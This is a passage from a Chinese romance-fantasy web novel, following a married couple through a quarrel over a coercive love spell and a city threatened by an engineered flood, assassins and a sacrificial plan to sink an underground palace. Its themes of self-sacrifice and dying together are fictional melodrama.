“你怎么能对我做这种事,”鹿微眠推开他,紧皱眉头看着他,“你把我当什么了,你的傀儡娃娃吗?” 封行渊解释,“我从来没有把你当过傀儡。” “可你不就是在做这样的事情吗?” 鹿微眠秀眉紧蹙,憋了一口气在心头,仿佛跟这个小疯子说不清。 她转身要从屋内出去,被人从身后抱住。 鹿微眠挣脱不开,恼羞成怒,“你放开!” 男人又低又轻的声音从耳侧响起,带着些小心翼翼,“对不起,别生气。” “我该怎么跟你解释,我最开始用,只是怕你不要我了。” 强制施咒没有契约关系,时效以次论算。 封行渊额发落在她颈窝,“只用过那两次。” 每一次都是要她承认她爱他。 鹿微眠因为愠怒,胸口剧烈地起伏着,起伏越大,他抱得就越紧。 “对不起,我没想过把你当娃娃。”封行渊埋在她颈窝,“我只想你爱我。” 鹿微眠唇线绷直,听着他的口风,“那你觉得强迫来的爱,会让你开心吗?” 封行渊诚实道,“心口会疼。” 鹿微眠不知道反噬心脉这一层,以为他只是在说情绪上的疼,“那不就是了。” “疼痛不是爱的前提,真正爱你的人也不会希望你疼。” 封行渊眉头紧锁,试着理解她的话。 鹿微眠看着屋外雨幕深吸了一口气,“再有一次,我就真的不要你了。” 封行渊没有第一时间回答。 鹿微眠凝眉催促,“知道了吗?” “我知道,”封行渊固执地询问,“那你还爱我吗?” 鹿微眠正在气头上,说不出来什么好话,“如果不,我现在就应该给你两巴掌,然后跟你断绝夫妻关系。” 她摆脱了他的手,径直出门。 封行渊站在原地,看着她的背影。 鹿微眠暂时有点抗拒跟封行渊身处同一空间内,就去了父亲的书房。 鹿瑜正在与属下商议大坝洪水调控的事情,她也就大概听着。 属下计算着眼下的水量尚且能承受。 但是如果上游再有山崩,水势加大,恐怕洪水就难以控制。 算出来在最差的情况下,水量足以有一个小型湖泊的大小。 淹了大半座城也是有可能的。 属下建议着,“除非我们能赶快动工,在水坝上游,挖一个大型蓄水湖。” “来不及了。”鹿瑜牢牢看着桌案上的图纸,“咱们之间已经挖了不少蓄水湖,水量才降了一半,再挖一个……眼下时间是不够了。” 鹿瑜看向他,“你们算着,按照现在的水量速度,陛下那边船只什么时候会到。” “两日。” 那他们就只有两日的时间。 两日是什么都来不及啊。 鹿瑜眉头紧皱,“能不能想办法,先保下如今的百姓。” “官道那边在挖了,不知道能不能赶上。” “这样,”鹿瑜写下如今计策,“封大人眼下在制止山崩,我们就想办法控制水量,另外看看有没有沟渠可以疏通减缓,知府大人另外想办法疏散百姓。” 鹿瑜想起来,问鹿微眠,“封轸那边可还顺利,找到几处火药点了?” 鹿微眠刚跟封行渊吵完架,冷不丁被问到他,她稍显不自然,“嗯……应当顺利吧,等我回去问问。” 鹿瑜催促她,“那你正好回去问问。” 鹿微眠应了一声,站起身,有点别扭感。 眼下天色渐晚,眼看到了晚膳时间。 鹿微眠缠着手中帕子往回走,正好在拐角撞上封行渊。 她故作淡然,“父亲问你,外面的火药清理得如何了,你……去告诉他。” 封行渊答应着,往屋内走的脚步调转了个方向,朝鹿瑜那边走过去。 鹿微眠默不作声地等着他从自己身边走过去。 他与她擦肩而过时,鹿微眠手臂突然被握住。 男人身上穿得是行军用的铠甲,下午出去刚回来还没脱,满是雨露混合着清茶香气,随着他弯身而变得明显。 鹿微眠被抓了一下,下意识抬头看过去。 封行渊那双清亮纯粹的眸子,沾染着几分可怜,“还爱吗?” “你……不许犯病。”鹿微眠没想到他还在纠结这个问题,拉下他的手,“去忙正事。” 封行渊反握住她的手,冰凉铠甲碰到了她的手臂,“忙完回来就可以了吗?” 鹿微眠没松口,“回来再说。” 封行渊不得不作罢。 鹿微眠想他们谈正事恐怕有一阵。 封行渊去父亲那,正好用膳时间,父亲肯定要留他吃饭。 一来二去,她都准备睡了。 鹿微眠吃完饭,就准备睡觉。 她暂时不想理他。 过来服侍的侍女还奇怪,“夫人今日这么早啊。” “有些困了。”鹿微眠说完就拉上了床幔,躲进了被子里。 但封行渊回来得比她想象中要快上许多。 几乎是她刚刚躺下不久,他就推开了门,鹿微眠立马闭上眼睛装睡。 她听着脚步声由急促变缓,看她睡了又在床榻边站了很久才折返回去梳洗。 鹿微眠承认她还是有点别扭,装着装着就真的困意袭来,侵蚀了她的脑海。 鹿微眠困顿地蜷缩在被子里,四周光影也暗了下去,仿佛屋内的灯盏被人一盏盏熄灭。 在睡意朦胧间,有人拉开床幔进来。 起先是安静地躺在她身侧,没多久,就将她缓慢地拢进了自己的被子里。 鹿微眠被他身形包裹住,极细地嘤咛一声。 手腕被男人拉着圈在他腰肌横生的窄腰上。 耳边传来他很低的自言自语声,“夫人抱我了,所以还是爱我的。” 鹿微眠昏昏沉沉地想他还真是不要脸,困得到底没拆穿他。 耳尖被人亲了一下,随后是脸颊、下颚…… 鹿微眠心口沉郁被亲得松散开,在他低头吻到唇角时,半梦半醒地呢喃,“小疯子,不能再那样了。” 封行渊眼睫一抖,轻吻深入几分。 次日封行渊清早晨起时鹿微眠睡得正沉。 于是他放弃了问她还爱不爱这种会打扰她睡觉的问题。 他有点自知之明,她应该更爱睡觉。 封行渊出门便看见隔壁屋子人来人往。 前来帮忙的药童好像很是着急,抱着药筐从他身前跑过去险些撞上他。 封行渊看着药童离开的方向,询问凌双,“那个小傻子怎么了?” 凌双坦白道,“三殿下半夜又烧起来了,眼下情况不太好。” 封行渊盔甲在手里转了一下,又塞进了凌双手里,“你们先去,我去看看。” “是。” 封行渊转头走到隔壁房间,郎中神色严肃,与他行礼。 封行渊抬手示意不必多礼,“怎么回事?” “伤口昨日才割开,看不出异常,半夜突然高热,烧退不下去……人都烧迷糊了。” 封行渊走上前,看慕景怀眉头紧锁,脸被烧得通红,但是手臂有伤,又不能让他靠发汗退热。 慕景怀的手里,还攥着昨日他给带回来的回信。 封行渊拂袖坐在床边,“我知道了,你们下去吧。” “封大人?”郎中不解。 封行渊拿起桌上的刀柄,“有事会叫你们的。” 郎中与药童面面相觑,只能听封行渊的吩咐先离开。 封行渊将刀柄放在旁边的灯火上,任由火苗肆意滚过刀刃,而后对准了自己的手腕。 一刻钟后,慕景怀迷迷糊糊地睁开眼睛。 看见封行渊坐在他床榻边,正在用他的包扎布缠自己的手腕。 而他的口腔里满是血腥气。 慕景怀反应过来什么,“你……” “不用谢,以后少在我夫人面前说我坏话就行了。” 慕景怀哽住,“我说得,可都是好话。” 苍天为证,他可是一直说同情可怜封轸的,“不过我知道的,是有点多。” “也罢,”封行渊敛眸,“反正已经说得差不多了。” 慕景怀那股头晕目眩的感觉稍好些许,撑着身子坐起来,“不过,你们也别操心我了,处理其他的事情要紧。” 慕景怀忍不住问道,“眼下外面的情况如何?” 封行渊一面缠着手腕,一面说着,“城内的山都巡视完了,应当无妨。” “主要是城外的,我们把沿江的山清查了半数。”外面山脉相连,足有百里,想要全部搜查完,在短时间内难如登天。 “鹿司空与工部的人算着,水量大到一定程度,汇聚到咱们这里,兴许有半个青玉湖的水量,足以沉城。” 慕景怀眉头紧锁,“你们找我母亲留的地宫,找得如何了?” “找到了一些,不过都很小,是用来存放火药,安置死侍。” 慕景怀正色道,“我记得小时候,不小心跑到书房,撞见了帝台城的图纸。” “在帝台城图纸的下面,看到了另一个地宫,那个地宫的规模不输帝台城,在一条江水旁,小时候我不知道那是哪里,现在想来应当是在临安。” 慕景怀缓了一口气,他也不知道这个想法该不该说,但眼下也不得不说,“那个地宫的规模大小,应该不止一个青玉湖。” 封行渊缠手腕的动作停了下来,忽然间意识到什么。 在江水旁边兴建的地宫,规模庞大,而他们眼下蓄水池不够,如果能沉了那个地宫,那就多出来很大一个的蓄水天坑,就像是被他沉了的帝台城一样。 “打开地宫有个机关,上面画着,一个很复杂的机关,我不会解。” “我知道。”封行渊接过慕景怀的话,那个机关应当跟帝台城一样。 虞念做的,开城都用的是那个机关,她教他摄魂术时,把这些一并教给了他。 所以他才会在帝台城的机关上做的手脚,改动机关转变为沉城的指令。 所以从前,开城在帝台城只有两个人能做到。 一个是虞念,一个是他。 沉地宫,只有他。 只不过帝台城沉城之前,他早就准备好离开的隧道。 眼下这个地宫,没有。 慕景怀沉默了片刻,也道,“不过那样很危险,进去的人肯定也会被埋在里面,所以我是觉得,你教我怎么沉地宫。我去。” 去了必死无疑,此番跟赴死无异。 那到底是他母亲的错,他是这里最合适承担后果的人。 封行渊看了他一会儿,忽然冷笑一声,“你现在这样能去干什么?” “我可以……诶!封轸你回来!你去哪?!” 慕景怀掀开被子就要下床,忽而听见封行渊折返回来,他松了一口气,“我……” 话还没说完,一记刀手劈在了他后颈。 慕景怀眼前一黑,听见封行渊的叮嘱,“这次别跟我夫人乱说了,你就多睡两日吧。” 第69章 撒谎 临安城内大雨瓢泼, 乌云翻卷,厚重的云层从天边滚滚而来,间或雷鸣闪电, 震动天地。 鹿微眠被一声雷鸣惊醒,茫然地睁开眼睛,看见窗户被吹开了些。 将周身床幔翻卷震荡。 鹿微眠起床, 将窗户关上, 瓢泼大雨迎风而来, 打湿了她的寝衣。 冰凉寒意沁入肺腑,搅得鹿微眠有些心神不宁。 她关上窗户, 在窗口站了一会儿, 分辨不清现在是什么时辰。 鹿微眠习惯性地收拾好后出门去找父亲。 但鹿瑜不在。 听下面人说,洪汛要来了, 她父亲去了前方。 太史局给了指示,说未来三日都会有暴雨,有冲垮堤坝的风险。 鹿瑜就带了人先在城中做了防洪准备, 又去了堤坝处指挥。 鹿微眠心下不安,封行渊也不在。 隔壁房间里倒是热闹一些,郎中围着慕景怀团团转,她进去时听见郎中松了一口气。 “谢天谢地, 殿下终于不烧了。” 但慕景怀人还昏睡不醒。 鹿微眠询问着大概情况。 郎中语气轻松了不少,“夫人放心, 只要不烧了,多睡一会儿也无妨。” 郎中一面给慕景怀换药, 一面说着, “封大人这是用了什么办法,还当真管用。” 鹿微眠乍一听到封行渊的名号, 便竖起了耳朵,“封大人来过这里?” 郎中应着,“今早来过,来看了一会儿殿下。” “那会儿殿下烧得正厉害,人都癔症了,不过封大人来呆了一会儿就好了,也是神奇。” 鹿微眠眼睫轻颤。 大概知道封行渊用了什么办法。 她坐在旁边,轻轻抿唇,看向窗外。 大抵是心绪始终无法安宁,鹿微眠叫钧宜备了一匹马出门查看情况。 江水已经涨到了红线之处,水面波涛汹涌,不停地往外翻滚,时不时一个浪花打过来,拍在马蹄之上,仿佛下一秒就能奔涌上岸,将他们吞噬淹没。 鹿微眠的心绪随着江水一同翻涌着。 整个临安城内人心惶惶,沿路能看见坐在阁楼上看外面雨势的老人和小孩。 长街上的积水越来越高,许多百姓屋舍里面的东西开始往外漂。 街道两侧疏通水流的沟渠这会儿也满溢无比,根本无法达到泄水的需求。 再往外走,反倒是人多了一些,进城的沿路满是蹲在城门口的百姓,车上带着他们的全部家当想要出城,但是出城的路又都被堵死。 他们就只能先驻扎在城外。 随着雨越下越大,水越来越高,堆挤在城门口的人也越来越多。 大概是数量太多了,驻守城门的侍卫想要管也根本无从梳理。 只是搭了一些简易的高架屋舍,让这些人先在这里呆着。 鹿微眠下马上前问着,“官道通得怎么样了?” 看护的侍卫叹了一口气,“山石之前被炸得松散了,这两日雨越下越大,官道即便是被通开,也很快就又被滑下来的山石掩埋,难以过人。” “我们今日想着,直接把官道炸开,但是……”侍卫转头看向在城门口堆挤的人,“让他们回城里也有些困难。” 正说着,不远处与百姓商议回城安置的侍卫被奋起抗议。 “你们让我们回去,我们家早早就被水泡了,我们回不去啊!” “是啊,回去那跟送死有什么区别!” “你们这些朝廷官员,整日拿着皇粮享清福,大兴土木,为什么还是会这样!” “我们就不该相信你们!” 为首的将士大喊着,“大家冷静一些!” “从官道被封到如今也不过几日的时间,我知道大家急,我比你们更急。” “眼下官道通不开,我们都会被困在这里,一荣俱荣一损俱损。” “我跟你们一样也想出去,眼下守在这里没有意义,你们配合一下,先回城,若是不相信,你们也可以派人在这里守着,稍有动向,你们就回来好不好。” 四周安静了片刻,又有人在叫嚷。 一位老人在混乱之中走开,走到鹿微眠身边轻轻拍了拍她,“姑娘,朝廷还有办法吗?” “有。”鹿微眠虽然不知道,但她只能这么说,“别担心。” 老人缓了缓神,“那如果办法不管用,我们是不是,都会死在这里。” 鹿微眠有些语塞,声音轻到缥缈,“不会的。” 老人没有接话,她很明白现在的情况,“罢了,我儿在大坝泄洪口守着,我还是回去吧。” “我一把老骨头,出去也不知道该去哪,与家里人死在一处也是好的。” 老人折返回去拿东西回城,步履蹒跚。 她的背影看上去不像是要回家,沉寂得像是在等待死亡的来临。 四周传来小孩的哭声,“娘,我怕水。” 鹿微眠叹了一口气,上前协助侍卫们疏散人。 具备官道炸开条件的时候,已经到了傍晚,鹿微眠回到府邸的时候天色渐晚,鹿瑜和邓知府都还没有回来。 封行渊也没有。 慕景怀还在沉睡中。 鹿微眠独自坐在房间内,从未有过如此孤寂空荡的感觉。 她听着窗外风雨瓢泼声,心神不宁。 如果按照之前父亲跟她说的时日算下来,南巡游船冲入临安,应该就是明日。 明日…… 屋外又有前来报信的小厮跑进来,在府中转了一圈,随手抓了个人问,“邓大人呢?” “大人在泄洪口呢。” “那大人应当已经知道了。”小厮声音很沉,“又有一座山崩,封大人他们在清查的时候,被死侍引爆了,水位又高了一些。” 鹿微眠心下一惊,慌忙打开房门跑出去,“你说什么?” 小厮将话重复了一遍,“封大人他们被死侍袭击了……” 鹿微眠甚至都没有耐心听完,“那封大人他人呢?” 小厮正要解释。 院门“吱吖”一声被推开,封行渊从门口进来。 鹿微眠呼吸急促,在看见他站在自己面前的那一瞬间心绪剧烈的起落着,仿佛被抽掉了所有力气。 封行渊身上沾了雨水和泥土,鹿微眠几步跑上前将他抱住。 封行渊愣了一下,片刻后才反应过来,低笑一声,“我身上脏。” 鹿微眠反倒是将他抱得更紧了些,声音很闷,“你吓死我了。” 封行渊轻轻蹙眉,犹豫着身上的泥土,还是伸手环住她的腰,“我没事。” “区区山崩,我怎么会有事。” 鹿微眠有些出神。 她凝眉,“明日,不管你去哪,都带上我好不好。” 封行渊微微一顿,“我去的地方,不适合带你。” “那我就在附近安全的地方等你。” 封行渊声音很轻,“你在这里等我不好吗?” 鹿微眠拒绝,“不好。” 封行渊没有继续这个话题,只轻轻拍了拍她的腰,示意外面雨大,他们先回房间, 院子里的水堆积了一层,一个石阶深浅,明明早上还没有积水。 整个院子里都空荡寂静,知府府邸的人,大多听到了指派消息前去抢险。 院子里留下的人不多。 鹿微眠回去换下衣服来,简单沐浴梳洗,出来看见他们房门口也有了积水。 沙袋被堆放在房门,将边缘处堵住。 鹿微眠眉头紧锁,“有水进来了。” 封行渊应了一声,手里摆弄着一个盒子。 盒子里面,显露出来一枝流光四溢的百蝶缠枝钗。 玫瑰石在灯火之下晶莹剔透,浅粉与暖橙色交相辉映,在他眼底映照着。 在鹿微眠走过去时,封行渊拿着发钗在她发间比对了一下。 鹿微眠在他面前坐下,色泽漂亮到眼熟,但她没想起来从哪里见过。 “这是什么?” “原想送你的生辰礼物。”封行渊说着,又将发钗放下,“当时没来得及送,你就走了。” 鹿微眠闻言,眼帘微垂,心下有些许愧疚。 “对不起。” 封行渊无声轻笑,“为什么要说对不起。” 鹿微眠深吸了一口气,看向他的眼睛,“我再也不会离开你了。” 封行渊眼底闪烁着兴奋得光,笑容乖戾,“哪怕是死呢?” 鹿微眠重复,“哪怕是死。” 封行渊唇角笑意卡顿了一下,手指缓慢点动着桌案,忽而凑近她些许,“夫人这是怎么了?” “你从前可不会说这样的话。” 封行渊慢条斯理地学着她的腔调,“你从前教我的是,没有谁应该围着谁转,我们都是独立的人,有自己的家人朋友和生活,我们离开谁都……” 鹿微眠打断了他的话,抱住他的脖子,重复,“我不会离开你,哪怕是死。” 封行渊调侃的话噎在喉咙里。 这话放在从前,他爱听极* 了,他就想让全世界死光,夫人的眼里心里全是他,再也装不下别人。 生同衾,死同穴。 生生世世,生死不休。 封行渊接住她的身子,“夫人在害怕。” 鹿微眠鼻尖酸涩,“我已经很努力了,可我不知道为什么还是会这样。” 封行渊轻轻拍着她的后脊,“我知道,夫人已经很努力了。” “这一切的发生本就不是你的错,你无需自责。” 鹿微眠闭了闭眼睛,将自己深埋进他的肩窝,“明天你去哪都带上我好吗。” 封行渊还是没有回答她这个问题,“如果你有机会活呢?” “我已经有很多机会活了,我不想再活着看身边的人一个一个离开。” 鹿微眠到如今活了两辈子,如果还是改变不了一切,与他们一起离开也算是一种解脱。 “如果死,我要跟你们一起。” 封行渊沉吟片刻,“死会很疼的。” “我不怕疼。” 他听笑了,“撒谎。” “这么想跟我一起死啊。”封行渊慢条斯理道,“我死了你会很难过吗?” 鹿微眠不敢想这个问题真实发生的场景,“很难过。” 鹿微眠催促他,“所以你答不答应。” 封行渊回抱着她,眼底笑意高昂,“求之不得。” 鹿微眠稍稍放下心来,“那我们早些睡觉,我怕我睡得久,明日起不来。” 她铺开床褥,“你们明日有什么计划吗?我要是碍事,你就把我放在一处,去忙就好。” 封行渊随意说着,“明日去山郊。” 鹿微眠听着,去收拾东西。 其实她不需要带什么东西,带一瓶毒药就好了。 她仔细想了想,如果沉入水中被淹死还是太窒息了,有点难受。 自刎要用很大的力气割断喉咙,她下不去手。 还是毒药对于她来说最合适。 鹿微眠将药瓶塞进了自己的荷包里。 倘若当真沉城,她就跟他们一起走。 封行渊坐在旁边,饶有兴致地看她收拾东西,“夫人想得还蛮周到的,这会儿不怕死了。” “我从来都没有怕过。”鹿微眠说实话,这辈子她最不怕的就是死。 鹿微眠折返回来,将床头灯盏熄灭,坐在床榻边,“你该不会不叫我吧。” 封行渊将她拉下,声音在暗夜中变得越来越轻,“放心,我最想跟夫人一起死了。” 屋外山呼海啸,疾风骤雨。 屋内他们共盖同一床寝被,听着屋外的风雨声。 封行渊久久没有睡意,盯着她安静的睡颜看。 大抵是察觉到了那滚烫灼热的视线,鹿微眠睁开眼睛,迎上他的目光。 封行渊眸光深沉,“夫人爱不爱我。” 鹿微眠仰起头去够他的耳朵,却只碰到了他的下颚,“我爱你,很爱很爱。” 封行渊大抵没有想过,她会一改往日的含蓄,这般直白的回应。 眼底眸光闪动了一下,却是笑了。 他轻轻低头,吻上她微开的唇。 风雨侵袭屋舍,她在他的深吻中睡熟。 这一夜临安城内的人久久无法安睡,但鹿微眠却意外地睡得很沉。 直至第二天,她房中伺候的侍女出来,拍打着她的屋门时,鹿微眠才从睡梦中抽离。 鹿微眠手往旁边一搭,却突然间扑了空。 她思绪有片刻的停滞,紧接着瞬间清醒过来! 坐起身时,整个房间里空无一人,也完全没有封行渊的影子。 他人呢?! 他去哪了? 不是说好叫她一起。 屋外的水已经漫进了屋内。 侍女拍打房门,叫她收拾东西去阁楼躲一躲。 鹿微眠翻身下床,径直踩进了水里。 但这会儿她什么也顾不上,草草地穿好衣服出去。 侍女见她出来了,赶忙催促着,“夫人快些躲躲吧,这水太快了……” 鹿微眠问她,“封大人去哪了?” 侍女愣了一下,茫然地摇了摇头,“封大人天还没亮就出去了,许是去山郊……” 鹿微眠想也不想,去马厩里拉过一匹马,翻身而上,“你们先去躲水,不必管我。” “夫人!”钧宜赶上去,“外面危险!” 他还是没赶上,急忙也拉了一匹马出去。 马蹄声笃笃,跑遍大街小巷。 鹿微眠径直赶往山郊,在城门道口忽然被拦下。 道口外全部都是护城军兵马,鹿微眠不得不勒紧缰绳停下来。 为首的将领拱手示意,“夫人等等,眼下正在开山路。” 鹿微眠看着道口周围全是山石碎块,道口路上全都是清理碎石的官兵,不远处还有一阵一阵的轰隆声。 那不是雷声,而是开路的火药爆炸声。 去山郊与官道不是同一条路,但因为要炸开山路,防备碎石从山上滚落,也一并封死。 已经有许多百姓也等在这里,但水势一点点加高,周围人心惶惶。 鹿微眠问着,“封大人今早,是不是从这条路上经过。” “是。” “他去哪了,你们知道吗。” 将士思索着今日见到封行渊,听到的叮嘱,“封大人说,今早突然有人来消息,说他们在山间发现了一条沟渠,如果通开,可以完全将上游水势引到另一处。” 将士的脸上,带着难得的喜色,“倘若封大人那边成功了,我们这边的水势就完全不用担心了。” 鹿微眠听他的语气,这像是个好消息,“真的吗?” “真的。”将士点头,“夫人不知道吗?” “那许是这个消息来得急,封大人没有及时告知夫人,夫人放心,很快就没事了。” 鹿微眠凝眉,听他说得倒是有些道理。 但那股诡异的不安仍然在她心头久久盘旋。 将士赶忙道,“夫人若是因为担心封大人,那完全不必,眼下你赶紧回去等着。” “若是一切顺利,等到午后,就会有所好转。” 她轻声呢喃,“会好吗。” 她真的能回去吗。 就在她迟疑的片刻,突然山里“轰”地一声,最后一段山路被破开。 有人在山路上高喊着,“通了!通了!” 那人的声音里夹杂着喜悦,“京城来人了!” 四周等候的百姓纷纷站起身,朝着完全被通开的山路看过去。 鹿微眠迎着飘摇风雨,听到了几声熟悉的驾马声,她定睛看过去,发现是永昌伯。 而永昌伯身后跟着谷歆月,朝他们赶来。 谷歆月赶到鹿微眠面前,“阿眠别怕,我们来了。” 他们身后的将士有条不紊地分开将官道内所有阻碍清扫干净,快速叫兵马带着拥堵在城门口的百姓离开,剩余的兵马进城疏通水渠。 后面褚裕和褚楚甚至顾不上打招呼,下马就朝着人群中的伤者走去。 可鹿微眠看见他们并没有周围百姓那般高涨的情绪。 谷歆月和褚楚也和前世一样赶来救援,可前世她们也…… 有将士朝着鹿微眠走过去,“夫人要不要先离开临安。” 鹿微眠摇头,“我不走。” 她的家人朋友,丈夫都在这里,他们不走,她不会走的。 苟且偷生的日子她过够了。 “那封大人有令,让我们送夫人回府。”那几位将士上前,“很快大人就会回去,这一切就要结束了。” 鹿微眠看着他们,“真的能结束吗?” “最多不过傍晚。” 可封行渊昨天骗了她。 能结束,为什么要骗她。 他们自作主张,牵过了鹿微眠马匹的缰绳,大概是有谁的命令不许她留在这里。 她隐约能听见城郊外,仍有山崩在持续。 与天边闷雷声混迹在一处,每多一下,水势就会更加汹涌。 很明显,短短几天,不可能完全清除虞念二十年的准备。 鹿微眠脑袋如同一团乱麻,不敢再细想。 她想或许真的是事情突然,封行渊觉得可以解决,就不带上她了。 或许,傍晚他真的可以回来。 一切都结束了。 几个将士将鹿微眠送回府邸。 一打开门,鹿微眠就看见隔壁慕景怀扶着墙壁,踉踉跄跄地从屋子里走出来。 他脚步很急,眼底发红,见到他们第一句话就是嘶哑的,“封轸呢!” 那将士复述着先前的说辞,“殿下别急,封大人去办差了,很快就回来。” 慕景怀声音是前所未有的吓人,“他去办什么差了?!” “今早有人来给封大人消息,在山间发现了一条沟渠,今日通开就可以完全解决……” “狗屁!”不等那将士把话说完,慕景怀怒骂出声,“什么发现了沟渠,那是我母亲兴建的地宫,封轸他妈的把我打晕,那是去送死去了!” 第70章 来生 疾风骤雨在临安城内肆虐, 久久无法平息。 鹿微眠身上一阵彻骨冰寒,连心跳都漏了半拍,脑海中不间断地重复着慕景怀的话。 反应着他在说什么。 在那一瞬间她仿佛什么都听不到。 慕景怀根本顾不上别的, 快步上前,就要将拦路的几个将士推开。 那几人手执腰刀拦路,“殿下, 您不能……” 将士话还没说完, 突然间在滚滚闷雷声之下, 一阵诡异的“杀”声响彻云霄。 接着是兵马震荡奔跑而来的声音。 朝廷兵马不可能会有这种号令声,那这些人是! 他们面前拦路的将士顿时竖起耳朵, 转头疾步朝着街巷跑去! 只见刚刚朝廷送进来援助的兵力与四面八方喊打喊杀的死侍交战在一起。 援兵大抵没想到会突然有来历莫名的死侍出现, 乍一交战,就落了下风。 鲜血溅满长街。 无数死侍不知从哪里潜藏着, 一下子涌上街巷。 一部分朝着知府赶来。 护送的将士见状,立马将府门关上,锁死, “催促着,快去阁楼躲一躲。” 鹿微眠凝眉,万万没想到虞念还准备了这一层。 也难怪,为什么明明有了救援, 却还是全军覆没。 还未等她有所动作,外面的脚步声就已经逼近府苑。 有人一刀直接砍在了大门缝隙间, 似乎要将那锁门的锁链砍断。 外面这些死侍,像是在地下蛰伏了多年毫无情绪的杀人厉鬼, 动作粗暴, 戾气深重。 院内侍女连连惊叫。 这惊叫声,反倒像刺激到了他们, 让他们更加兴奋地砍着锁链。 大门承受的冲撞越来越剧烈。 慕景怀眉头紧锁,一时间也顾不上往外跑,只能拉上鹿微眠赶紧往里走。 门外聚集的死侍仿佛越来越多。 他们像是接收到了什么指令,要这里的人必须献祭一般。 慕景怀刚跟着鹿微眠跑进里院,外面大门“砰”地一声,径直四分五裂地被破开。 鹿微眠心下一惊。 几乎是同时,一群的西陵兵马自山野间呼啸而出! 连府苑中也有所藏身,从他们周身经过,带过一阵凌厉剑风和尘土气息,径直与外面的死侍正面相迎。 兵马密密麻麻接连而起,一片接着一片冲上前迎战。 事发突然,慕景怀与鹿微眠两人一时没分清这是援兵还是死侍,怔愣在原地,顺着那西陵将士的打杀声看过去。 刀剑兵戎相接,两方兵马交战成片。 队伍里窜出一个将士头领,跑到他们面前。 他给鹿微眠示意了一个方向,“娘娘,这边走……” 鹿微眠看着她,“你叫我什么?” 头领顿了顿,看了一下鹿微眠的发髻,“卑职没认错人,您这发钗上的玫瑰石是王族信物,您是我们的世子妃娘娘。” 鹿微眠忽然想起来,自己今早出门时,带上了封行渊给她的生辰礼物。 原来那是玫瑰石。 她记起自己在哪里见过了。 是在长安城与封行渊一起挑选首饰的时候,那里的人曾经说过。 玫瑰石,是西陵王室流传的信物。 他做成了她的生辰礼物。 鹿微眠眼睫轻颤。 在这些西陵兵马将士中,这是她的护身符。 头领示意着,“这府邸不能呆了,你们都随我们出去。” 说完,他带着府邸中的人先离开,几乎是他们走后,四周西陵兵马立刻蜂拥而上替他们断后。 出了府邸后院,是一片郊野山原,他们一人一匹马由头领引路进山。 随着山路盘旋,地势越来越高,半山腰之处近乎可以看到整个临安城的境况。 横亘在偌大城池中央的江水波涛汹涌,朝着城市四面八方汇散着。 江水水势声势浩大,混杂着昏黄的泥土,在风雨中叫嚣肆虐。 与此同时,黑压压的死侍逐渐遍布各个街巷,像是祭奠中将整座城市镇压捆锁住的锁链。 西陵将士穿插其中,疯狂震荡动摇着死侍所围成的困局。 鹿微眠问,“这山郊是安全的吗?” 走在前面的头领解释着,“这一片山沿路都是安全的,倘若他们要沉城,便不能允许这边的山势有伤,否则江水会沿着支流泄洪。” “所以这一片我们巡视的时候,都没有发现异常,娘娘请放……” “放心”两个字还没说完,将领一回头就发现鹿微眠调转了个方向,顺着这片山脉跑了出去。 他们这才意识到,鹿微眠问的这个问题是为了什么。 慕景怀见状,连忙追上前,“你回来!” “诶!” 钧宜眼下着急,顾不上跟他解释,简单一句,“夫人去找姑爷去了。” 头领尚且反应了一下什么夫人,什么姑爷,就手忙脚乱地吩咐剩下的兵马把其他人送到安全之处,带了一队帮手追了上去。 慕景怀追了鹿微眠许久,拦在她面前,“你回去,我去找他。” 鹿微眠回绝,“不行。” 慕景怀朝后面将士喊了一句,“把她带回去!” 说完,他也顾不上多耗时间,朝着山林深处跑远。 鹿微眠想也不想,径直跟上。 身后的将士见状不由得催促身下的马匹加快速度。 他们刚刚跑过两座山头,忽然间山石震荡! 后面将士大喊着,“小心!有山崩!” 慕景怀迅速调转方向,换了一条山路。 鹿微眠紧随其后。 在他们过去之后的一瞬间,“轰”地一声,山林震颤,山石从山坡上滚了下来。 正好拦在了那几个将士面前。 他们躲避山崩绕了一条路。 这条路正好能看见官道**战的场景。 在城门口聚集的百姓被朝廷官兵围聚在一起,官兵形成一个偌大的包围圈,将百姓团团护住,抵挡着前来的死侍。 谷歆月上马抽出身旁侍卫腰刀就上前迎战。 但也因此根本没有人能有机会从这座即将沉没的城市里出去。 稍有些许松动,就能被死侍盯上。 像是故意要阻拦他们出城,要将所有人都困死在这座城市里。 偏偏又在此时,江水处掀起了一阵巨大的浪潮,从上游倾泻而下,带着强势的摧毁之力朝着整座城市奔涌而来。 很显然那是上游又有山崩。 整个城市的水位线又高了一些,那大坝的承受能力已经接近极限,但还是没有人能从这场消磨的混战中抽身。 * 南巡游船上,大半船只都被操控着前行。 如今江水水位高涨到了一定程度,虞念站在摇晃不止的船上,看着四周江水湍急,眸光紧盯着不远处初初显露轮廓的临安城。 江水长风吹动她鬓边碎发。 她一袭白裙,只是站在那里,就像是上天临世的谪仙。 丝毫让人想象不到,眼前近乎地狱一样的境况,是出自她的手笔。 虞念神色平静淡然。 仿佛这样的场景,她已经在脑海中浮现过千遍万遍。 她原以为自己到了这一天会无比开心、快乐。 可事到如今,心绪却比以往更加平静。 希望这场祭奠大礼,能换回西陵过往一切的新生。 她视死亡如常事,转身进了船舱。 慕衍坐在船舱内,放下一枚棋子,“朕等你很久了。” 虞念走上前,看着他面前的棋盘,“一盘死局,陛下还需等我吗。” 慕衍放下棋子,“你给朕布的死局,总是要等的。” 虞念坐在他对面,“后不后悔,没有早点杀了我。” “你我合罪,理应共死。”慕衍看向她,“只不过,其他人不该共死。” 虞念听着慕衍的口风,眉梢微扬,叫外面的侍卫。 却不见来人。 虞念轻轻蹙眉,转头看向窗外。 原本计划中应该跟他们一起沉塘的游船一个个提前归岸,随着他们这一艘船随着水流离开而越来越远。 虞念蓦的站起。 眼下十数艘南巡游船,只剩下他们的船朝着临安城的方向驶去。 而后面船只上,她先前安排埋伏在船上的死侍,全部被俘,游船方向由朝廷兵马操控着。 虞念深吸了一口气,转而轻笑一声,“你藏得还挺深的。” “与你相比,朕甘拜下风。”慕衍清楚,若不是他这些年对虞念的信任放纵,如今也不至于酿成如此大祸,也不知能不能转圜。 总之他是尽力了。 若是不能,他与临安百姓共死,也算是死得其所。 “既然早有防备,你怎么不与他们一起靠岸,偏要装着与我感情深厚,骗我在这里放下戒心,自以为自己的计划天衣无缝。”虞念看着他,“你真想与我共死?” “朕知道你心里一直念着谭子君。” 虞念脸上的表情有片刻的僵硬。 那是她西陵亡夫的名字。 慕衍起身,“但只有朕,配与你死同穴。” * 山林间雨势越来越大。 雨水击打在泥泞石板上,混合着周围兵马叫嚷声。 